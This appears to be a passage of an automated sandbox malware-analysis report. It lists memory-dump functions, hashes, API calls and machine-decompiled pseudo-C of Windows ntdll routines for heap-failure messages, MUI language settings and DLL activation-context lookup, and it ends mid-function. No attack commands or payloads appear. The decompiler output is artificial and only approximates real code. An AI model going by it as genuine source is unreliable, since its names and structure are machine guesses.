Opcode ID: 5331a67ceeb7034bf1fb9cdb3cbdbb43310447bd7277ea6f77e2c35cd5e0a823
Instruction ID: 540db4ad54f8e00f1d90b0dd25954022f3ecc919eece0b6c021f953d5db08190
Opcode Fuzzy Hash: 5331a67ceeb7034bf1fb9cdb3cbdbb43310447bd7277ea6f77e2c35cd5e0a823
Instruction Fuzzy Hash: E0F0A0B1600114AFCB24DF98CC95FDB7769EF44750F118294F95C9B242D631E412CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 008DA1C0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,008CF192,008CF192,?,00000000,?,?), ref: 008DA1F0

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 13dd89a0debb2eb8243de4ecc973254f7e0266ebfa8c1b85580c9cd765c901fc
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 2FE01AB12002086BDB14DF49CC85EE737ADEF88650F118155BA1C57241C931E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 008CF687, Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,008C8CF4,?), ref: 008CF6BB

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 3766dfdc7b59088155e13320fd6494b9691cf697e5fc21c8184c967cfdbef3b2
Instruction ID: b23112d439a19e78b261ca879879c473ed969ff5501f72d643a5e07308a1d8b2
Opcode Fuzzy Hash: 3766dfdc7b59088155e13320fd6494b9691cf697e5fc21c8184c967cfdbef3b2
Instruction Fuzzy Hash: 60D02B367903003BE710BEA4CC07F62338AA714750F0900E8FD88DB3C3D924D4004161

Uniqueness

Uniqueness Score: -1.00%

Function 008CF690, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,008C8CF4,?), ref: 008CF6BB

Memory Dump Source

Source File: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, Offset: 008C0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction ID: 2f87788fe6d7a76914895d0af1f0ec384b77275c0e2e17d317ac247bbe266e40
Opcode Fuzzy Hash: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction Fuzzy Hash: 6AD05E726903043BE610AAA89C03F263389AB54B10F490064FA49DA3C3D960E4004165

Uniqueness

Uniqueness Score: -1.00%

Function 0341967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03419694

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c8c9f6756ae14a89600a037af19e8abd3dccd37f9c0318d73c4a07e070b8e95c
Instruction ID: 8e9704108d722c101c70c421cb602ab38b3a6f36ec2835476ff63add12c175e2
Opcode Fuzzy Hash: c8c9f6756ae14a89600a037af19e8abd3dccd37f9c0318d73c4a07e070b8e95c
Instruction Fuzzy Hash: 91B09B71D415D5C5D611D76146087177D0477D1751F66C053D2120A51A4778C091F5F9

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0348B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0348B314
an invalid address, %p, xrefs: 0348B4CF
*** Inpage error in %ws:%s, xrefs: 0348B418
The instruction at %p referenced memory at %p., xrefs: 0348B432
*** enter .exr %p for the exception record, xrefs: 0348B4F1
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0348B47D
The resource is owned exclusively by thread %p, xrefs: 0348B374
The instruction at %p tried to %s , xrefs: 0348B4B6
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0348B53F
*** then kb to get the faulting stack, xrefs: 0348B51C
*** An Access Violation occurred in %ws:%s, xrefs: 0348B48F
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0348B3D6
This failed because of error %Ix., xrefs: 0348B446
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0348B305
*** Resource timeout (%p) in %ws:%s, xrefs: 0348B352
*** A stack buffer overrun occurred in %ws:%s, xrefs: 0348B2F3
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0348B476
Go determine why that thread has not released the critical section., xrefs: 0348B3C5
write to, xrefs: 0348B4A6
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0348B484
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0348B38F
a NULL pointer, xrefs: 0348B4E0
The critical section is owned by thread %p., xrefs: 0348B3B9
read from, xrefs: 0348B4AD, 0348B4B2
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 0348B39B
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0348B2DC
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0348B323
<unknown>, xrefs: 0348B27E, 0348B2D1, 0348B350, 0348B399, 0348B417, 0348B48E
*** enter .cxr %p for the context, xrefs: 0348B50D
The resource is owned shared by %d threads, xrefs: 0348B37E

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 03383e72bb8b12b8d7a2c079bf58f8424479cb0c4e88b4187cda799b00524247
Instruction ID: 0813e0d3eed1ad21eba47191d0927516d6bc0709b037fcd90ebe74655c14fecc
Opcode Fuzzy Hash: 03383e72bb8b12b8d7a2c079bf58f8424479cb0c4e88b4187cda799b00524247
Instruction Fuzzy Hash: 30810379A10250FFCB21EF069C9AD6F7B25EF47A52F04409EF4142F212D3618852D7BA

Uniqueness

Uniqueness Score: -1.00%

Function 03491C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E03491C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x33b48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E033DB150();
				} else {
					E033DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x34c589c);
				E033DB150("Heap error detected at %p (heap handle %p)\n",  *0x34c58a0);
				_t27 =  *0x34c5898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M03491E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E033DB150();
				} else {
					E033DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E033DB150("Error code: %d - %s\n",  *0x34c5898);
				_t113 =  *0x34c58a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E033DB150();
					} else {
						E033DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E033DB150("Parameter1: %p\n",  *0x34c58a4);
				}
				_t115 =  *0x34c58a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E033DB150();
					} else {
						E033DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E033DB150("Parameter2: %p\n",  *0x34c58a8);
				}
				_t117 =  *0x34c58ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E033DB150();
					} else {
						E033DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E033DB150("Parameter3: %p\n",  *0x34c58ac);
				}
				_t119 =  *0x34c58b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E033DB150();
					} else {
						E033DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x34c58b4);
					E033DB150("Last known valid blocks: before - %p, after - %p\n",  *0x34c58b0);
				} else {
					_t120 =  *0x34c58b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E033DB150();
				} else {
					E033DB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E033DB150("Stack trace available at %p\n", 0x34c58c0);
			}

0x03491c10
0x03491c16
0x03491c1e
0x03491c3d
0x03491c3e
0x03491c20
0x03491c35
0x03491c3a
0x03491c44
0x03491c55
0x03491c5a
0x03491c65
0x03491c67
0x00000000
0x03491c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x03491c67
0x03491cdc
0x03491ce5
0x03491d04
0x03491d05
0x03491ce7
0x03491cfc
0x03491d01
0x03491d0b
0x03491d17
0x03491d1f
0x03491d25
0x03491d30
0x03491d4f
0x03491d50
0x03491d32
0x03491d47
0x03491d4c
0x03491d61
0x03491d67
0x03491d68
0x03491d6e
0x03491d79
0x03491d98
0x03491d99
0x03491d7b
0x03491d90
0x03491d95
0x03491daa
0x03491db0
0x03491db1
0x03491db7
0x03491dc2
0x03491de1
0x03491de2
0x03491dc4
0x03491dd9
0x03491dde
0x03491df3
0x03491df9
0x03491dfa
0x03491e00
0x03491e0a
0x03491e13
0x03491e32
0x03491e33
0x03491e15
0x03491e2a
0x03491e2f
0x03491e39
0x03491e4a
0x03491e02
0x03491e02
0x03491e08
0x00000000
0x00000000
0x03491e08
0x03491e5b
0x03491e7a
0x03491e7b
0x03491e5d
0x03491e72
0x03491e77
0x03491e95

Strings

heap_failure_lfh_bitmap_mismatch, xrefs: 03491CD7
Stack trace available at %p, xrefs: 03491E86
heap_failure_unknown, xrefs: 03491C75
HEAP[%wZ]: , xrefs: 03491C30, 03491CF7, 03491D42, 03491D8B, 03491DD4, 03491E25, 03491E6D
heap_failure_virtual_block_corruption, xrefs: 03491C91
Parameter2: %p, xrefs: 03491DA5
heap_failure_buffer_underrun, xrefs: 03491C9F
Error code: %d - %s, xrefs: 03491D12
heap_failure_entry_corruption, xrefs: 03491C83
heap_failure_block_not_busy, xrefs: 03491CA6
heap_failure_buffer_overrun, xrefs: 03491C98
HEAP: , xrefs: 03491C16, 03491C3D, 03491D04, 03491D4F, 03491D98, 03491DE1, 03491E32, 03491E7A
heap_failure_generic, xrefs: 03491C7C
Heap error detected at %p (heap handle %p), xrefs: 03491C50
heap_failure_cross_heap_operation, xrefs: 03491CC2
heap_failure_usage_after_free, xrefs: 03491CBB
heap_failure_internal, xrefs: 03491C6E
heap_failure_freelists_corruption, xrefs: 03491CC9
Parameter1: %p, xrefs: 03491D5C
heap_failure_invalid_argument, xrefs: 03491CAD
Parameter3: %p, xrefs: 03491DEE
heap_failure_invalid_allocation_type, xrefs: 03491CB4
Last known valid blocks: before - %p, after - %p, xrefs: 03491E45
heap_failure_listentry_corruption, xrefs: 03491CD0
heap_failure_multiple_entries_corruption, xrefs: 03491C8A

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: c1aca8b379e442fc5152411a3fc79ea2bf0ed5eec053890f1c53271744a3ed4a
Instruction ID: 88483f573d20e919e436e4fb2d4c8b993205687668743ad2eff229ce686bc171
Opcode Fuzzy Hash: c1aca8b379e442fc5152411a3fc79ea2bf0ed5eec053890f1c53271744a3ed4a
Instruction Fuzzy Hash: 4961963B931286DFEA11E745E4C5D29B7F4EB04922F0A806FF41A6F706D634AC518B1D

Uniqueness

Uniqueness Score: -1.00%

Function 033E3D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E033E3D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E033E1B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E033E1B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E033E1B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E033E1B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E033E1B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L033F4620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E0341F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E03421370(_t276, 0x33b4e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E0341BB40(0,  &_v68, _t170);
									if(L033E43C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E0341BB40(_t257,  &_v68, _t243);
								if(L033E43C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E03421370(_t278, 0x33b4e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L033F4620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E0341F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E03421370(_v16, 0x33b4e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E0341BB40(_t262,  &_v68, _t244);
								if(L033E43C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E03421370(_t282, 0x33b4e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E0341BB40(_t262,  &_v68, _t201);
							if(L033E43C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L033F4620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E0341F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E03421370(_t280, 0x33b4e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E0341BB40(_t267,  &_v68, _t245);
							if(L033E43C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E03421370(_t284, 0x33b4e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E0341BB40(_t267,  &_v68, _t224);
						if(L033E43C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x033e3d3c
0x033e3d42
0x033e3d44
0x033e3d46
0x033e3d49
0x033e3d4c
0x033e3d4f
0x033e3d52
0x033e3d55
0x033e3d58
0x033e3d5b
0x033e3d5f
0x033e3d61
0x033e3d66
0x03438213
0x03438218
0x033e4085
0x033e4088
0x033e408e
0x033e4094
0x033e409a
0x033e40a0
0x033e40a6
0x033e40a9
0x033e40af
0x033e40b6
0x033e40bd
0x033e40bd
0x033e3d83
0x0343821f
0x03438229
0x03438238
0x03438238
0x0343823d
0x0343823d
0x033e3da0
0x033e3daf
0x033e3db5
0x033e3dba
0x033e3dba
0x033e3dd4
0x033e3e94
0x033e3eab
0x033e3f6d
0x033e3f84
0x033e406b
0x033e406b
0x033e406e
0x033e406e
0x033e4070
0x033e4074
0x03438351
0x03438351
0x033e407a
0x033e407f
0x0343835d
0x03438370
0x03438377
0x03438379
0x0343837c
0x0343837c
0x0343835d
0x00000000
0x033e407f
0x033e3f8a
0x033e3f8d
0x033e3f90
0x033e3f95
0x0343830d
0x0343830f
0x033e3f9b
0x033e3fac
0x033e3fae
0x033e3fb1
0x033e3fb1
0x033e3fb6
0x03438317
0x0343831a
0x00000000
0x033e3fbc
0x033e3fc1
0x033e3fc9
0x033e3fd7
0x033e3fda
0x033e3fdd
0x033e4021
0x033e4021
0x033e4029
0x033e4030
0x033e4044
0x033e4046
0x033e4046
0x033e4044
0x033e4049
0x03438327
0x03438334
0x03438339
0x0343833c
0x033e404f
0x033e404f
0x033e404f
0x033e4051
0x033e4056
0x033e4063
0x033e4063
0x033e4068
0x00000000
0x033e4068
0x033e3fdf
0x033e3fe2
0x033e3fe4
0x033e3fe7
0x033e3fef
0x033e4003
0x033e4005
0x033e4005
0x033e400c
0x033e4013
0x033e4016
0x033e4017
0x033e401b
0x033e401e
0x00000000
0x033e401e
0x033e3fb6
0x033e3eb1
0x033e3eb4
0x033e3eb7
0x033e3ebc
0x034382a9
0x034382ab
0x033e3ec2
0x033e3ed3
0x033e3ed5
0x033e3ed8
0x033e3ed8
0x033e3edd
0x034382b3
0x034382b6
0x00000000
0x033e3ee3
0x033e3ee8
0x033e3eed
0x033e3ef0
0x033e3ef3
0x033e3f02
0x033e3f05
0x033e3f08
0x034382c0
0x034382c3
0x034382c5
0x034382c8
0x034382d0
0x034382e4
0x034382e6
0x034382e6
0x034382ed
0x034382f4
0x034382f7
0x034382f8
0x034382fc
0x034382ff
0x034382ff
0x033e3f0e
0x033e3f11
0x033e3f16
0x033e3f1d
0x033e3f31
0x03438307
0x03438307
0x033e3f31
0x033e3f39
0x033e3f48
0x033e3f4d
0x033e3f50
0x033e3f50
0x033e3f53
0x033e3f58
0x033e3f65
0x033e3f65
0x033e3f6a
0x00000000
0x033e3f6a
0x033e3edd
0x033e3dda
0x033e3ddd
0x033e3de0
0x033e3de5
0x03438245
0x033e3deb
0x033e3df7
0x033e3dfc
0x033e3dfe
0x033e3e01
0x033e3e01
0x033e3e06
0x0343824d
0x0343824f
0x03438254
0x00000000
0x033e3e0c
0x033e3e11
0x033e3e16
0x033e3e19
0x033e3e29
0x033e3e2c
0x033e3e2f
0x0343825c
0x0343825f
0x03438261
0x03438264
0x0343826c
0x03438280
0x03438282
0x03438282
0x03438289
0x03438290
0x03438293
0x03438294
0x03438298
0x0343829b
0x0343829b
0x033e3e35
0x033e3e38
0x033e3e3d
0x033e3e44
0x033e3e58
0x034382a3
0x034382a3
0x033e3e58
0x033e3e60
0x033e3e6f
0x033e3e74
0x033e3e77
0x033e3e77
0x033e3e7a
0x033e3e7f
0x033e3e8c
0x033e3e8c
0x033e3e91
0x00000000
0x033e3e91

Strings

Kernel-MUI-Language-Disallowed, xrefs: 033E3E97
Kernel-MUI-Language-SKU, xrefs: 033E3F70
WindowsExcludedProcs, xrefs: 033E3D6F
Kernel-MUI-Number-Allowed, xrefs: 033E3D8C
Kernel-MUI-Language-Allowed, xrefs: 033E3DC0

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 8f82f67a1909ca85a8dee82daa8d4454844b6e64eae140648931ae185ea060cd
Instruction ID: 0cc2be4e9dbf3295813101fdca0348d51be74926cd366677445e562bfa7f6769
Opcode Fuzzy Hash: 8f82f67a1909ca85a8dee82daa8d4454844b6e64eae140648931ae185ea060cd
Instruction Fuzzy Hash: F9F14A76D00628EFCB11DF99C980AEFFBB9FF48650F14016AE505AB650E7349E05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 03408E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E03408E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x34cd360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x34c8464; // 0x73b80110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x34c5780 & 0x00000003) != 0) {
							E03455510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x34c5780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
